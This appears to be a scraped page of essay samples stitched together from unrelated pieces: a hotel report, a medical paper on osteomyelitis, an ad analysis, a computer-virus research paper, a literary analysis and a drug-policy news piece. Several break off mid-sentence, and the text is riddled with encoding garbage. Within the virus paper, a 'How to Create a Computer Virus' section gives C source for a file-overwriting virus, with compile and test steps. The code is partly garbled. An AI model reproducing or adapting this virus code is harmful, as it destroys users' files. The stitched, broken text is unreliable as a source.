Based on typical hotel organization chart consolidate the Department Heads reports outlining how the hotel will fully meet all the needs of the attendees - Assignment Example The Four Seasons Hotel authorities must ensure security as well as high quality services to the visitors. High quality service delivered to the attendees would help to enhance brand value of the hotel in long run. In the contemporary era, all prominent business organizations operating within the hospitality industry try to improve service quality and customer satisfaction within business. It is found that superior services provided by a hotel helps to increase its aggregate profitability as well as base of loyal customers. Buyers’ loyalty towards a company and satisfaction derived share a directly proportional relationship (Halil and Tanova 33-41). This report would mention that Four Seasons Hotel has an aim to generate 100% occupancy rate from 29th November to 4th December. This is because, in that period of time, foreign delegates from across the globe would visit the hotel for attending the G20 Summit held in Seattle. Thus, in order to achieve the target, the hotel must introduce ways to enhance quality of its service, thereby augmenting customers’ loyalty or satisfaction. In addition to major services, the hotel also offers special business services to visitors. The above list shows various types of commercial services provided by the company, which renders business tours of corporate officials comfortable and convenient. The manager must ensure that all these services are uninterruptedly delivered to the hotel attendees. The accommodations of the hotel are placed on first ten floors. The company owns 147 guest rooms and 13 luxury suites (â€Å"Four Seasons Hotel†). The housekeeping officials of the hotel must ensure that facilities available in each room of the hotel can be well-used by attendees. In general, rooms of the hotel are decorated in ways that complement local cultures around the world. The workers of the housekeeping

Osteomyelitis Term Paper Example | Topics and Well Written Essays - 2500 words

Osteomyelitis - Term Paper Example Various types of osteomyelitis are there and some are more prone to strike children like hematogenous osteomyelitis while direct trauma and contiguous focus osteomyelitis are more likely to be found in adults (King & Johnson, n.d.). Epidemiological Overview Process Ostermyelitis is a disease associated with bones. It is an infection that affects the bones and which occurs as a result of bacteria or other germs. Fungi can also cause this disease. Bacteria can spread to a bone in various manners. Skin that is suffering from infection can spread bacteria to a bone. Bacteria can also reach the bone from muscles or tendons that are placed near the bone. This disease can also happen under a skin sore. The infection can actually happen in any area of the body and from that area the infection can be carried to the bone by blood. There is another way this infection can start and that is from complications arising from surgery of the bone. The risk of this infection tends to gets more likely i f the surgery is done after there is an injury. Infection can also happen from metal rods and plates that are placed in the bone to fix fracture of the bone. In case of children, this disease more often occurs in the long bones of the arms or legs which give strength and provides mobility. Acute hematogenous osteomyelitis can mostly be seen in children. Direct trauma and contiguous focus osteomyelitis affect mostly adults and adolescents. (Osteomyelitis, 2012) Morbidity of the disease can be substantial. The infection can spread in a localized manner to the related soft tissues of joints. The infection can also end up as a chronic infection causing acute pain and can cause disability. The areas of the body that gets extremely infected may have the need to be amputated to stop the spread of the infection to other parts of the body. The infection can also be generalized or sepsis. Figures show that around 10 to 15 percent of patients who have this disease in the bones of their vertebr a can develop disorder in the nervous system or frank spinal-cord compression. Recent studies have shown that complications in the vascular system seem to be more common with community-acquired methicillin-resistant Staphylococcus aureus (CA-MRSA) than it was earlier known. Patients suffering from osteomyelitis generally have low rates of mortality unless there is an associated sepsis. The disease can also be mortal if the patient has a history of a prevalent medical condition (King & Johnson, n.d.). Osteomyelitis in children In children, this disease is more commonly carried by blood and is typically found in long bones like the femur, tibia and humerus. Generally bacteria enter the bones of children through surgical manipulations or penetrating wounds. In case of infants, this disease can spread more as the anatomical resistance power to deflect infection is less in infants. Osteomyelitis is more focal in older children with fever and bacteremia as common symptoms (Kaplan, 2005, p p.787-788). Pathophysiologic Processes Risk Factors The common risk factors for osteomyelitis are diabetis, poor blood supply, injury received in recent past and use of illegal drugs by means of injection. People whose spleen has been removed are also vulnerable to osteomyelitis. (Osteomyelitis,

How to analyze an ad Essay Example for Free

How to analyze an ad Essay Analysis of how a particular advertisement attempts to appeal to consumers By giving form to audience motives and desires, advertisers have the best chance of arresting attention and affecting communication. This is an analysis of the lift advertisement for Maxwell House Coffee created by the design agency Ogilvy Beijing of China. When the doors opened, sleepy people in an office building were shocked awake, providing a tongue-in-cheek metaphor for the effects of drinking a cup of Maxwell House Coffee. The marketplace has grown increasingly congested in a frenzied competition for the consumer’s attention. Within this context advertisers believe that in order to get consumers to buy their product ads need to have two orders of content: an appeal to deep seated emotions and information on the product. A sales pitch is used to attract attention and effectively convey the virtues of the product on offer. Elements of good layout are necessary to control the message. Emotional appeals seem to fall into several distinguishable categories. Every ad uses a variation of these appeals: the need for sex, affiliation, guidance, prominence, attention, autonomy, or the need to nurture, aggress, achieve, dominate, escape, or to feel safe. This ad totally circumvents all conscious reaction when the lift doors open to reveal a gaping hole. The illogical link between a gaping hole in the floor and a cup of Maxwell House Coffee is embedded in the metaphor: a better way to wake up. The link is forged pre-logically in the mind of the person who steps into that lift. Ones primal instinct is to protect oneself from falling. This is so deep-seated and spontaneous that the advertiser leaves no other option for the onlooker. This ad relies on aesthetic sensation for its appeal which, needless to say, has been executed with perfection. Nothing in this layout could be added or left out. Apart from the initial â€Å"shock† the onlooker has to admire the optical illusion and the cleverness of its presentation. The impact of this ad on all of one’s senses is undeniably large. Other appeals that are present in a lesser and overlapping degree are a need to nurture; a need for guidance; a need to escape; a need to feel safe; and a need for curiosity. Stylistic features are not appeals in themselves but influence the way the basic appeal is presented. This ad could be classified as avant garde. This ad is innovative, experimental and unconventional. The most striking element of the ad is the floor graphic which instantaneously grabs ones attention and penetrates the mind so profoundly, you’ll never forget the experience. The viewing angle on this ad relies on the premise that people instinctively look down when entering a lift, not only to look where they are stepping, but to avoid eye-contact with strangers. When they do look up, they look straight into the solution: a cup of steaming hot Maxwell House Coffee to â€Å"wake up†. Targeted customers: sleepy office workers. All the elements of the ad come together in a single appeal: drink Maxwell House Coffee to wake up. The vast majority of ads employ a common set of textual features: headlines, body copy, and slogans. Copywriting has a function: to sell the product. This ad epitomizes the words â€Å"art in pursuit of a business goal†. The floor graphics replace the need for a headline. The body is presented in a most refreshing way (no pun intended) and consists only of two words embedded in the steam to further engage ones imagination of the aroma of freshly brewed coffee. Body copy follows a picture and caption style. The traditional need for a slogan is sufficed by the placement of the logo of the product on the coffee cup. The elements of the layout of this ad totally control the way the message is received. The message is delivered in a uniquely creative and totally unexpected way. There is no competitive â€Å"noise† as the presence of the ad takes up the whole space within the lift. All layout elements have been used to maximum effect: attention, balance, proportion, movement, unity, clarity, simplicity and emphasis. Balance is achieved by proper weight distribution. In this ad the weight is on the floor. One’s knowledge of the effects of gravity plays a subconscious role. The tonal quality of the floor graphic and its fear inspiring content visually pulls one â€Å"to the centre of the earth and back again†. The poster is optically centered so the reader cannot miss the â€Å"sales pitch† and the artistic composition is nothing short of excellent – the floor graphics, the bare lift, the metallic surface of the lift walls and the design and placement of the single poster. In a highly original way forceful emotions are brought forth in an experience of uncontrollable surprise. The presentation of the information in the poster is reserved, dignified, formal, clean, uncluttered. One’s emotions guide the consumer through the ad, from beginning to the end. Directional impetus favors the elements to be stressed. The onlooker has nowhere to go. The recipient is taken â€Å"inside† the advertisement. Inside the lift, there is nothing to compete with it. The layout is unified by the confines of the lift, the muted colors of the walls, and the complementary colors in the poster. The inside of the lift determines the parameters of the ad space. This is a classic use of â€Å"white space† where the advertiser cleverly employs the barest necessities in such a profound way that this ad and the product it offers become unforgettable. The two important elements of shock (floor graphic) and solution (poster) are uniquely and very cleverly tied together. The message is clear and simple. Wake up with Maxwell House Coffee. Emphasis is achieved through the dominant element, the floor graphic which contrast sharply in size, placement and most of all its the impact to that of the poster which is strategically placed in the optical centre of the lift wall, directly opposite the doors (shock versus solution). Perfect. Does this ad effectively appeal to its target market? Yes, profoundly. And here is why: The chief element of this ad is the clever use of graphics to depict a gaping hole in floor of the lift. The product information is minimal as it needs no elaboration. The logo and a cup of coffee are all that is required. The rest is dependent upon the recipient’s own experience and feelings towards the product. The target market is well defined. The communication between the producer and the consumer is crystal clear and totally unambiguous: This product is experienced to be genuinely gratifying to the prospective consumer and a even non-coffee drinker will enjoy the emotional â€Å"ride† offered by the advertiser. Here both ends of the communication channel have been abundantly rewarded. The ad is clever, innovative, refreshing and directed at one appeal: drink Maxwell House Coffee. This won an international award for â€Å"Best use of Ambient Media: Large Scale† in 2008.

Background Of Studies On Computer Viruses

Background Of Studies On Computer Viruses A computer virus is a computer program that can copy itself and infect a computer. The term virus is also commonly but erroneously used to refer to other types of malware, including but not limited to adware and spyware programs that do not have the reproductive ability. A true virus can spread from one computer to another (in some form of executable code) when its host is taken to the target computer; for instance because a user sent it over a network or the Internet, or carried it on a removable medium such as a floppy disk, CD, DVD, or USB drive. Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by another computer. As stated above, the term computer virus is sometimes used as a catch-all phrase to include all types of malware, even those that do not have the reproductive ability. Malware includes computer viruses, computer worms, Trojan horses, most root kits, spyware, dishonest adware and other malicious and unwanted software, including true viruses. Viruses are sometimes confused with worms and Trojan horses, which are technically different. A worm can exploit security vulnerabilities to spread itself automatically to other computers through networks, while a Trojan horse is a program that appears harmless but hides malicious functions. Worms and Trojan horses, like viruses, may harm a computer systems data or performance. Some viruses and other malware have symptoms noticeable to the computer user, but many are surreptitious or simply do nothing to call attention to them. Some viruses do nothing beyond reproducing themselves. Section 1.2 Background of Studies on Various Computer Viruses Boot Sector Viruses This type of viruses has ability to hide in boot sector. The viruses will load into memory when there is booting system and trying to read from hard disk. Boot sector viruses are more spread since old time when floppy disk was popular. But now we hardly seen them since many of them only can spread through floppy disk. This type of virus affects the boot sector of a floppy or hard disk. This is a crucial part of a disk, in which information on the disk itself is stored together with a program that makes it possible to boot (start) the computer from the disk. The best way of avoiding boot viruses is to ensure that floppy disks are write-protected and never start your computer with an unknown floppy disk in the disk drive. Examples of boot viruses include: Polyboot.B, AntiEXE. Companion Viruses Companion Viruses is another kind of viruses. When user computer infect by this sort of viruses, it will create another type file from an existing file in same directory (such as creating file.com from file.exe in the same folder), some companion viruses create file.exe from any folder. It can be considered file infector viruses like resident or direct action types. They are known as companion viruses because once they get into the system they accompany the other files that already exist. In other words, in order to carry out their infection routines, companion viruses can wait in memory until a program is run (resident viruses) or act immediately by making copies of themselves (direct action viruses). Some examples include: Stator, Asimov.1539, and Terrax.1069 Encrypted Viruses This type of viruses consists of encrypted malicious code, decrypted module. The viruses use encrypted code technique which make antivirus software hardly to detect them. The antivirus program usually can detect this type of viruses when they try spread by decrypted themselves. Logic Bomb Viruses Logic Bomb Viruses or sometime know as Time Bomb is small piece of malicious code or program which have ability to insert itself to other programs or system and perform specific action when the conditions are met (most Logic Bomb developers use date as conditions). The Logic Bomb does nothing until pre-programmed date is reached. Logic Bomb can perform any malicious things based on pre-programmed within it such as deleting file or displaying unwanted message or lock program and so on. They are not considered viruses because they do not replicate. They are not even programs in their own right but rather camouflaged segments of other programs. Their objective is to destroy data on the computer once certain conditions have been met. Logic bombs go undetected until launched, and the results can be destructive. Macro Viruses When talking about Macro Viruses, we refer to viruses which infect macro of other applications such as Microsoft Word, Microsoft Excel. The viruses are written in a macro language and use it to distribute themselves. Macro viruses will run automatically when user open document. Usually this type of virus cause harmless to your computer, but instead they are annoying by automatically inserting undesired texts or symbols. Example of Macro Virus: WM.Concept, it was introduced in 1995 the first macro virus that spread through Microsoft Word. And another popular one is Melissa that is first found in 1999, it also can spread through MS Word, Excel and Outlook. Multipartite Viruses Multipartite Viruses is type of viruses which infect user computer on both part boot sector and executable files and programs at the same time, with this condition, the viruses spread faster than boot sector or file infector alone. It changes the paths that indicate the location of a file. By executing a program (file with the extension .EXE or .COM) which has been infected by a virus, you are unknowingly running the virus program, while the original file and program have been previously moved by the virus. Once infected it becomes impossible to locate the original files Example: Ghost ball, the first multipartite virus. Nonresident Viruses This type of viruses is similar to Resident Viruses by using replication of module. Besides that, Nonresident Viruses role as finder module which can infect to files when it found one (it will select one or more files to infect each time the module is executed). Polymorphic Viruses: Polymorphic Virus is similar to encrypted viruses; it can infect files with an encrypted copy of itself. The viruses use difference technique to replicate themselves. Some polymorphic viruses are hardly to detect by antivirus software using virus signature based, because it do not remain any identical after replication. Polymorphic viruses encrypt or encode themselves in a different way (using different algorithms and encryption keys) every time they infect a system. This makes it impossible for anti-viruses to find them using string or signature searches (because they are different in each encryption) and also enables them to create a large number of copies of themselves. Examples include: Elkern, Marburg, Satan Bug, and Tuareg. Resident Viruses Resident Viruses or known as Memory Resident Viruses is malicious module. The viruses can replicate module and installing malicious code into computer memory (RAM). The viruses are commonly classified into two main categories: Fast Infectors and Slow Infectors. This type of virus is a permanent which dwells in the RAM memory. From there it can overcome and interrupt all of the operations executed by the system: corrupting files and programs that are opened, closed, copied, renamed etc. Examples include: Randex, CMJ, Meve, and MrKlunky. Stealth Viruses / Worm Stealth Viruses is some sort of viruses which try to trick anti-virus software by intercepting its requests to the operating system. It has ability to hide itself from some antivirus software programs. Therefore, some antivirus program cannot detect them. A worm is a program very similar to a virus; it has the ability to self-replicate, and can lead to negative effects on your system and most importantly they are detected and eliminated by antivirus. Examples of worms include: PSWBugbear.B, Lovgate.F, Trile.C, Sobig.D, and Mapson. Section 1.3.1 Research Question 1. How did the diff. types of computer Viruses Created when, where, by whom? 2. How are they attack/work on the end user computers? 3. How we protect ourself from such type of computer viruses? 4. What will be the future trend of computer viruses? Section 1.3.2 Research Aim The research aims at understanding how Computer viruses is evolving and attacking on day to day computer business Section 1.3.3 Research Objective The objective of this research is to help to the User of Computer to make decisions on the how to solved the problem created because of computer viruses from a long time perspectives.Also to develop contrasting measure between the creator of computer viruses and the end user of the computer. Section 1.3.4 Research Hypothesis Many of the viruses that have had the greatest impact have been intended to be totally benign. Unfortunately, small errors in program code have led to disastrous results. The most frequent such error is when a virus program, which was intended to infect a computer only once, doesnt realize it has already done its job, and keeps infecting the computer over and over. This was the problem with the infamous virus released at Cornell University on November 2, 1988, by Robert Morris, Jr., which rapidly brought the entire Internet system of computers to its knees. Where the small drain of a single virus can pass unnoticed by a computer system, millions of viruses can fill every bit of memory and use up every cycle of computing power of the computer they have invaded. The hidden message revealed by the widely publicized cases of infection by computer viruses is that existing computer systems of all sorts could be making very large errors that have never been recognized. This means the computer systems that take care of every aspect of the worlds financial life, computer systems that keep personal records on you and me, computer systems that support the military capabilities of the super-powers. Good system developers test systems thoroughly before installation, attempting to test every possible logic path. However, with a system of any reasonable level of complexity, this is an impossible task, so a major system is likely only to have been thoroughly tested for frequently occurring events. Its the infrequently occurring events, and especially the unforeseen combinations of events, that are the bane of systems developers. And those are also the areas where Poincares admonition is most likely to come into play. Chapter 2 Literature Review What is Computer virus? Term was first used by Fred Cohen in 1984. A computer virus is a small program a computer virus is a computer program that can copy itself and infect a computer. The term virus is also commonly but erroneously used to refer to other types of malware, including but not limited to adware and spyware programs that do not have the reproductive ability. A true virus can spread from one computer to another (in some form of executable code) when its host is taken to the target computer; for instance because a user sent it over a network or the Internet, or carried it on a removable medium such as a floppy disk, CD, DVD, or USB drive. Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by another computer. As stated above, the term computer virus is sometimes used as a catch-all phrase to include all types of malware, even those that do not have the reproductive ability. Malware includes computer viruses, computer worms, Trojan horses, most root kits, spyware, dishonest adware and other malicious and unwanted software, including true viruses. Viruses are sometimes confused with worms and Trojan horses, which are technically different. A worm can exploit security vulnerabilities to spread itself automatically to other computers through networks, while a Trojan horse is a program that appears harmless but hides malicious functions. Worms and Trojan horses, like viruses, may harm a computer systems data or performance. Some viruses and other malware have symptoms noticeable to the computer user, but many are surreptitious or simply do nothing to call attention to them. Some viruses do nothing beyond reproducing themselves History of Computer viruses The first academic work on the theory of computer viruses (although the term computer virus was not invented at that time) was done by John von Neumann in 1949 that held lectures at the University of Illinois about the Theory and Organization of Complicated Automata. The work of von Neumann was later published as the Theory of self-reproducing automata In his essay von Neumann postulated that a computer program could reproduce. In 1972 Veith Risak published his article Selbstreproduzierende Automaton mitt minimaler Informationsà ¼bertragung (Self-reproducing automata with minimal information exchange). The article describes a fully functional virus written in assembler language for a SIEMENS 4004/35 computer system. In 1984 Fred Cohen from the University of Southern California wrote his paper Computer Viruses Theory and Experiments It was the first paper to explicitly call a self-reproducing program a virus; a term introduced by his mentor Leonard Adelman. An article that describes useful virus functionalities was published by J. B. Gunn under the title Use of virus functions to provide a virtual APL interpreter under user control in 1984. Science Fiction The Terminal Man, a science fiction novel by Michael Crichton (1972), told (as a sideline story) of a computer with telephone modem dialing capability, which had been programmed to randomly dial phone numbers until it hit a modem that is answered by another computer. It then attempted to program the answering computer with its own program, so that the second computer would also begin dialing random numbers, in search of yet another computer to program. The program is assumed to spread exponentially through susceptible computers. The actual term virus was first used in David Gerrolds 1972 novel, When HARLIE Was One. In that novel, a sentient computer named HARLIE writes viral software to retrieve damaging personal information from other computers to blackmail the man who wants to turn him off. Virus programs History The Creeper virus was first detected on ARPANET, the forerunner of the Internet, in the early 1970s. Creeper was an experimental self-replicating program written by Bob Thomas at BBN Technologies in 1977 Creeper used the ARPANET to infect DEC PDP-10 computers running the TENEX operating system. Creeper gained access via the ARPANET and copied itself to the remote system where the message, Im the creeper, catch me if you can! was displayed. The Reaper program was created to delete Creeper. A program called Elk Cloner was the first computer virus to appear in the wild that is, outside the single computer or lab where it was created. Written in 1981 by Richard Skeena, it attached itself to the Apple DOS 3.3 operating system and spread via floppy disk. This virus, created as a practical joke when Skeena was still in high school, was injected in a game on a floppy disk. On its 50th use the Elk Cloner virus would be activated, infecting the computer and displaying a short poem beginning Elk Cloner: The program with a personality. The first PC virus in the wild was a boot sector virus dubbed (c) Brain, created in 1986 by the Farooq Alvin Brothers in Lahore, Pakistan, reportedly to deter piracy of the software they had written. Before computer networks became widespread, most viruses spread on removable media, particularly floppy disks. In the early days of the personal computer, many users regularly exchanged information and programs on floppies. Some viruses spread by infecting programs stored on these disks, while others installed themselves into the disk boot sector, ensuring that they would be run when the user booted the computer from the disk, usually inadvertently. PCs of the era would attempt to boot first from a floppy if one had been left in the drive. Until floppy disks fell out of use, this was the most successful infection strategy and boot sector viruses were the most common in the wild for many years. Traditional computer viruses emerged in the 1980s, driven by the spread of personal computers and the resultant increase in BBS, modem use, and software sharing. Bulletin board-driven software sharing contributed directly to the spread of Trojan horse programs, and viruses were written to infect popularly traded software. Macro viruses have become common since the mid-1990s. Most of these viruses are written in the scripting languages for Microsoft programs such as Word and Excel and spread throughout Microsoft Office by infecting documents and spreadsheets. Since Word and Excel were also available for Mac OS, most could also spread to Macintosh computers. Although most of these viruses did not have the ability to send infected e-mail, those viruses which did take advantage of the Microsoft Outlook COM interface. Some old versions of Microsoft Word allow macros to replicate themselves with additional blank lines. If two macro viruses simultaneously infect a document, the combination of the two, if also self-replicating, can appear as a mating of the two and would likely be detected as a virus unique from the parents. A virus may also send a web address link as an instant message to all the contacts on an infected machine. If the recipient, thinking the link is from a friend (a trusted source) follows the link to the website, the virus hosted at the site may be able to infect this new computer and continue propagating. Viruses that spread using cross-site scripting were first reported in 2002, and were academically demonstrated in 2005. There have been multiple instances of the cross-site scripting viruses in the wild, exploiting websites such as MySpace and Yahoo. Time line of computer viruses: In the early years floppy disks (removable media) were in fact the in the late 80s. Ultimately of course, the internet in all its forms became the major source of infection. YEAR VIRUS NAME BY WHOM TYPE 1982 ELK CLONER RICH SKRENTA 1983 COMPUTER VIRUS FRED COHEN 1986 BRAIN PAKISTAN BOOT SECTOR 1988 ARPANET ROBBERT MORRIS ENCRYPTED 1989 AIDS TROJAN 1990 ANTI-VIRUS S/W 1991 NON-ANTI S/W SYMANTEC POLYMORPHIC 1994 HOAX 1995 WORD 1999 MELLISA DAVID L. SMITH 2000 I LOVE U FILIPINE STUDENT 2001 CODE RED WORM 2003 SLAMMER 2004 MY DOON/NOVARG 2005 COMMWARRIOR-A RUSSIA CELL PHONE 2008 CONFICKER 2009 CYNER ATTACK W32.DOZOR 2010 STUNEXT TROJAN 2011 HTTP BOT BLACK SHADES Programming language used for creating Computer Viruses: C C++ Assembler PHP JAVA SCRIPT VB SCRIPT MICRO LANGUAGE/CODE How Computer Viruses Work As youll see in the next section, the term virus was applied to this type of software very early in its history. Its an apt metaphor, because a computer virus is, in many ways, similar to the biological Viruses that attack human bodies. A biological virus isnt truly a living, independent entity; as biologists will tell you, a virus is nothing more than a fragment of DNA sheathed in a protective jacket. It reproduces by injecting its DNA into a host cell. The DNA then uses the host cells normal mechanisms to reproduce itself. A computer virus is like a biological virus in that it also isnt an independent entity; it must Piggyback on a host (another program or document) in order to propagate. How a virus infects your computer 1. Virus program is launched. 2. Virus code is loaded into PC memory. 3. Virus delivers its destructive payload. 4. Virus copies itself to other programs. How Computer Viruses Work 5 If all a virus did was copy itself to additional programs and computers, there would be little Harm done, save for having all our programs get slightly larger (thanks to the virus code). Unfortunately, most viruses not only replicate themselves, they also perform other operations-many of which are wholly destructive. A virus might, for example, delete certain files on your computer. It might overwrite the boot sector of your hard disk, making the disk inaccessible. It might write Messages on your screen, or cause your system to emit rude noises. It might also hijack your E-mail program and use the program to send it to all your friends and colleagues, thus replicating itself to a large number of PCs. Viruses that replicate themselves via e-mail or over a computer network cause the subsidiary Problem of increasing the amount of Internet and network traffic. These fast-replicating viruses Called worms can completely overload a company network, shutting down servers and forcing ten s of thousands of users offline. While no individual machines might be damaged, this type of Communications disruption can be quite costly. As you might suspect, most viruses are designed to deliver their payload when theyre first executed. However, some viruses wont attack until specifically prompted, typically on a predetermined Date or day of the week. They stay on your system, hidden from sight like a sleeper Agent in a spy novel, until theyre awoken on a specific date; then they go about the work them were programmed to do. In short, viruses are nasty little bits of computer code, designed to inflict as much damage As possible, and to spread to as many computers as possible-a particularly vicious combination. How to Create a Computer Virus? This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Heres the source code of the virus program. #include #include #include #include #include #include FILE *virus,*host; int done, a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst(*.*,ffblk,0); while(!done) { virus=fopen(_argv[0],r3. Virus delivers its destructive payload. b); host=fopen(ffblk.ff_name,rb+); if(host==NULL) goto next; x=89088; printf(Infecting %sn,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(ffblk); } } printf(DONE! (Total Files Infected= %d),a); end=clock(); printf(TIME TAKEN=%f SECn, (end-st)/CLK_TCK); getch(); } COMPILING METHOD: USING BORLAND TC++ 3.0 (16-BIT): 1. Load the program in the compiler, press Alt-F9 to compile 2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER) 3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR ITS SIZE) 4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT) 5. Once again follow the STEP 1 STEP 2.Now the generated EXE File is ready to infect USING BORLAND C++ 5.5 (32-BIT) : 1. Compile once, note down the generated EXE file length in bytes 2. Change the value of X in source code to this length in bytes 3. Recompile it. The new EXE file is ready to infect HOW TO TEST: 1. Open new empty folder 2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH PASTING IN THE NEW FOLDER) 3. Run the virus EXE file there you will see all the files in the current directory get infected. 4. All the infected files will be ready to re-infect. Why Viruses Exist Computer viruses, unlike biological viruses, dont spring up out of now here-theyre created. By people. And the people-programmers and developers, typically-who create computer viruses Know what theyre doing. These code writers deliberately create programs that they know will Wreak havoc on huge numbers of computer users. The question is why? It takes some degree of technical skill to create a virus. To that end, creating a computer Virus is no different than creating any other computer application. Any computer programmer or Developer with a minimal amount of skill can create a virus-all it takes is knowledge of a programming Language, such as C, Visual Basic, or Java, or a macro language, such as VBA. By using a build your own virus program-of which there are several available, Via the Internet underground. So, by definition, a virus writer is a person with a certain amount of technical expertise. But Instead of using that expertise productively, virus writers use it to generate indiscriminate mayhem among other computer users. This havoc-wreaking is, in almost all instances, deliberate. Virus writers intend to be destructive. They get some sort of kick out of causing as much damage as possible, from the relative Anonymity of their computer keyboards. Understanding Computer Viruses In addition, some developers create viruses to prove their technical prowess. Among certain Developers, writing a successful virus provides a kind of bragging right, and demonstrates, in some warped fashion, that the writer is especially skilled. Unfortunately, the one attribute that virus writers apparently lack is ethical sense. Virus programs can be enormously destructive, and it takes a peculiar lack of ethics to deliberately perpetrate such destruction on such a wide scale. In the end, a virus writer is no better than a common vandal. Except for the technical expertise required, the difference between throwing a rock through a window and destroying PC files via a virus is minimal. Some people find pleasure in destruction, and in our high-tech age, such Pleasure can come from writing destructive virus code. What You Can Do About Computer Viruses Theres very little you can do, on a personal level, to discourage those high-tech vandals who create Virus programs. There are plenty of laws already on the books that can be used to prosecute these criminals, and such criminal investigations-and prosecutions-have become more common in recent years. However, as with most criminal activity, the presence of laws doesnt always mean there are fewer criminals; the truth is, theres a new batch of virus writers coming online every day. All of which means that you cant rely on anyone else to protect you from these virus-writing Criminals. Ultimately, you have to protect yourself. Reducing Your Chances of Infection To make yourself less of a target for virus infection, take the following steps: Restrict your file downloading to known or secure sources. The surest way to catch a virus is to download an unknown file from an unknown site; try not to put you at risk like this unless you absolutely have to. Dont open any e-mail attachments you werent expecting. The majority of viruses today arrive in your mailbox as attachments to e-mail messages; resist the temptation to open or view every file attachment you receive. Use an up-to-date anti-virus program or service. Antivirus programs work; they scan the files on your computer (as well as new files you download and e-mail messages you receive) and check for any previously identified viruses. Theyre a good first line of defence, As long as you keep the programs up-to-date with information about the very latest viruses and most antivirus programs make it easy to download updates. Enable macro virus protection in all your applications. Most current Microsoft Applications include special features that keep the program from running unknown macros and thus prevent your system from being infected by macro viruses. Create backup copies of all your important data. If worse comes to worst and your Entire system is infected; you may need to revert to no infected versions of your most critical Files. You cant do this unless you plan ahead and back up your important data. Preventing Viruses Attacks. Diagnosing a Virus Infection How do you know if your computer has been infected with a virus? In short, if it starts acting Funny-doing anything it didnt do before-then a probable cause is some sort of computer Virus. Here are some symptoms to watch for: à ¢Ã¢â€š ¬Ã‚ ¢ Programs quit working or freeze up. à ¢Ã¢â€š ¬Ã‚ ¢ Documents become inaccessible. à ¢Ã¢â€š ¬Ã‚ ¢ Computer freezes up or wont start properly. à ¢Ã¢â€š ¬Ã‚ ¢ The CAPS LOCK key quits working-or works intermittently. à ¢Ã¢â€š ¬Ã‚ ¢ Files increase in size. à ¢Ã¢â€š ¬Ã‚ ¢ Frequent error messages appear onscreen. à ¢Ã¢â€š ¬Ã‚ ¢ Strange messages or pictures appear onscreen. à ¢Ã¢â€š ¬Ã‚ ¢ Your PC emits strange sounds. à ¢Ã¢â€š ¬Ã‚ ¢ Friends and colleagues inform you that theyve received strange e-mails from you, that you dont remember sending. How to Catch a Virus. Recovering from a Virus Attack If youre unfortunate enough to be the victim of a virus attack, your options narrow. You have to find the infected files on your computer, and then either dies-infects them (by removing the virus Code) or delete them-hopefully before the virus has done any permanent damage to your system. You dont, however, have to give up and throw your computer away. Almost all viruses can be recovered from-some quite easily. All you need is a little information, and the right tools. The right tools include one of the major antivirus programs discussed in Anti-Virus Software and Services. These programs-such as Norton Antivirus

Edna’s Realization in Chapter 28 of Chopin’s The Awakening :: Chopin Awakening

Edna’s Realization in Chapter 28 of Chopin’s The Awakening The fifteen lines of chapter 28 express Edna’s multi-voiced mindset after her relationship with Arobin exceeds the boundaries of friendship. The chapter opens with her crying and then explores the process of guilt as it sets in. Edna’s guilt, however, is afflicted by the other figures in her life, not by her own sense of wrongdoing. The manipulating voices in Edna’s life do affect her, but they do not linger as they once did. It is her voice, her realization, that comes at the end. The chapter’s second line, â€Å"It was only one phase of the multitudinous emotions which had assailed her,† suggests that Edna’s emotions are influenced by other individuals; the primary definition of â€Å"multitudinous† is â€Å"including a multitude of individuals† (Merriam Webster’s Collegiate Dictionary). It is as if more individuals than just her self populate Edna’s mind. These men (she hears no women’s voices) express their own wishes and wants, not Edna’s. Their voices and emotions â€Å"assail† her violently. First, Edna feels irresponsible - an odd emotion after an unfaithful act. She feels irresponsible as a married woman for she has not performed her appropriate duties, or rather, she has performed inappropriate duties as a married woman. This irresponsibility is the voice of society. Edna additionally experiences a sense of shock at something new, something out of the ordinary. Her customary way of life does not include intense sexual situations. Next, Edna senses her husband’s â€Å"reproach† - his rebuke and disapproval. She does not sense his anger or his jealousy, emotions which would perhaps be more appropriate for a man whose wife has been unfaithful to him. Rather, he is concerned with what â€Å"society† will say. Her mind’s portrayal of Mr. Pontellier’s response is quite accurate; when Edna writes her husband to let him know she is moving out, he is not angry or sad, but rather concerned with society’s estimation of the situation. He joins society in disapproving of her. Then comes Robert’s reproach, which she attributes to a â€Å"quicker, fiercer, more overpowering love....† Robert’s disapproval, then, comes from love, not from society’s cares and not from a desire to protect her (or himself) from society’s judgment. Yet this love is not Robert’s, but rather her own. The love has â⠂¬Å"awakened within her toward him† - and thus appears the title of the novel. She has been awakened to her love of him.

war on drugs :: essays research papers

A News Analysis By Terence T. Gorski (5-28-01) Tom Cohen of the Associated Press reported on May 28, 2001 that Canada's drug control policy is slowly but clearly shifting toward decriminalizing marijuana. This Canadian political movement is in opposition to current trends in US drug law and could influence future direction of drug policy in the United States toward a public health addiction policy that focuses upon prevention and treatment and away from a criminal justice drug policy that focuses upon punishment as a deterrent. Canada has historically been more tolerant of marijuana than the United States and arrest statistics show the disparity in the two nation's approaches. The Canadian Center on Substance Abuse said about 25,000 people were arrested in Canada for simple possession of marijuana in 1999. The U.S. figure for that year under the ``zero tolerance'' policy of the U.S. Drug Enforcement Administration was 24 times higher, exceeding 600,000, says the National Organization for the Reform of Marijuana Laws in Washington. The U.S. population is about eight times that of Canada's. Justice Minister Anne McLellan says the issue should be studied, and a new Parliament committee on drug matters will look at decriminalization. Conservative Party leader Joe Clark is urging the elimination of criminal penalties for possessing a small amount of pot. ``It's unjust to see someone, because of one decision one night in their youth, carry the 